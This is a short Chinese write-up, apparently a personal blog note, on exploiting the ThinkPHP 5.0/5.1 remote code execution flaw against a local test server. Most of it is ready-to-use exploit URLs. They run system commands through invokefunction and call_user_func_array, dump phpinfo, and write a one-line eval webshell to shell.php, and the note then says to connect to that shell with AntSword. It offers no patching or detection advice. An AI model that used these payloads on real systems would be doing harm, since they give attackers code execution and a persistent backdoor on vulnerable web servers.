Thinkphp 5.x 远程代码执行漏洞利用小记
Thinkphp 5.x远程代码执行漏洞存在于Thinkphp 5.0版本及5.1版本,通过此漏洞,可以在远程执行任意代码,也可写入webshell
下面是对其进行的漏洞利用!
漏洞利用:
1,利用system函数远程执行任意代码:
构造url为:
http://127.0.0.1/index.php //这里是测试环境的主页
?s=index/think\app/invokefunction //s变量是这个漏洞利用的主要变量
&function=call_user_func_array //漏洞存在于这个函数中
&vars[0]=system //这里使用了system函数进行代码执行
&vars[1][]=pwd //在这里输入想要执行的代码,这里是显示当前文件的路径
2,利用phpinfo函数显示phpinfo:
构造url为:
http://127.0.0.1/index.php
?s=index/\think\app/invokefunction
&function=call_user_func_array
&vars[0]=phpinfo //使用phpinfo函数
&vars[1][]=1
3,利用file_put_contents函数写入webshell:
构造url为:
http://127.0.0.1/index.php
?s=index/think\app/invokefunction
&function=call_user_func_array
&vars[0]=file_put_contents //使用file_put_contents函数
&vars[1][]=shell.php //webshell文件名
&vars[1][]=<?php @eval($_POST['pass']);?> //写入一句话木马,注意这里需要用POST,而不能用GET
回显30代表执行成功!
查看127.0.0.1/shell.php,查看源代码,查看是否成功写入
用蚁剑连接,这里用菜刀连会失败,尝试多次无果,不知是何原因,所以推荐使用蚁剑进行连接!